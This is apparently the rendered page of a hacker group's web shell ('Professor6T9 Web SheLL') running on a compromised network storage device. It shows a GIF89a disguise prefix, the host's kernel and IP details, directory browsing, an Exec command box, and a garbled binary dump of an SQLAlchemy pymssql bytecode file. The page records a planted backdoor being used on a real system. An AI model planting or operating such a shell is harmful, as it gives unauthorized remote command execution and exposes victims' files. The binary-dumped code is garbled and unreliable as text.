GIF89;aGIF89;aGIF89;a
Team Anon Force
https://t.me/Professor6T9x
Professor6T9 Web SheLL
Linux SamCT211 4.4.302+ #86009 SMP Wed Nov 26 18:19:20 CST 2025 x86_64
nginx/1.23.1
192.168.4.211
/
volume1
/
@appstore
/
Contacts
/
radicale
/
site-packages
/
sqlalchemy
/
dialects
/
mssql
/
__pycache__
[ HOME ]
Exec
Submit
pymssql.cpython-38.pyc
U �}�hE � @ s� d Z ddlZddlmZ ddlmZ ddlmZ ddlmZ dd lm Z G d d� dej �ZG dd � d e�ZG dd� de�Z e ZdS )a� .. dialect:: mssql+pymssql :name: pymssql :dbapi: pymssql :connectstring: mssql+pymssql://<username>:<password>@<freetds_name>/?charset=utf8 pymssql is a Python module that provides a Python DBAPI interface around `FreeTDS <http://www.freetds.org/>`_. Modern versions of this driver worked very well with SQL Server and FreeTDS from Linux and were highly recommended. However, pymssql is currently unmaintained and has fallen behind the progress of the Microsoft ODBC driver in its support for newer features of SQL Server. The latest official release of pymssql at the time of this document is version 2.1.4 (August, 2018) and it lacks support for: 1. table-valued parameters (TVPs), 2. ``datetimeoffset`` columns using timezone-aware ``datetime`` objects (values are sent and retrieved as strings), and 3. encrypted connections (e.g., to Azure SQL), when pymssql is installed from the pre-built wheels. Support for encrypted connections requires building pymssql from source, which can be a nuisance, especially under Windows. The above features are all supported by mssql+pyodbc when using Microsoft's ODBC Driver for SQL Server (msodbcsql), which is now available for Windows, (several flavors of) Linux, and macOS. � N� )� MSDialect)�MSIdentifierPreparer� )� processors)�types)�utilc @ s e Zd Zdd� ZdS )�_MSNumeric_pymssqlc C s | j stjS tj�| ||�S d S �N)Z asdecimalr Zto_float�sqltypes�Numeric�result_processor)�self�dialect�type_� r �H/tmp/pip-target-hu2ovxdm/lib/python/sqlalchemy/dialects/mssql/pymssql.pyr / s z#_MSNumeric_pymssql.result_processorN)�__name__� __module__�__qualname__r r r r r r . s r c s e Zd Z� fdd�Z� ZS )�MSIdentifierPreparer_pymssqlc s t t| ��|� d| _d S )NF)�superr �__init__Z_double_percents)r r �� __class__r r r 7 s z%MSIdentifierPreparer_pymssql.__init__)r r r r � __classcell__r r r r r 6 s r c sh e Zd ZdZdZeZe�e j eje ejeji�Z edd� �Zdd� Zdd� Zd d � Z� fdd�Z� ZS ) �MSDialect_pymssqlT�pymssqlc C sJ t d�}tdd� |j�d�D ��}|dk r4dd� |_|dk rFt�d � |S ) Nr c s s | ]}t |�V qd S r ��int��.0�xr r r � <genexpr>M s z*MSDialect_pymssql.dbapi.<locals>.<genexpr>�.)� r r c S s t | d�r| S t| �S )N�decode)�hasattr�str)r"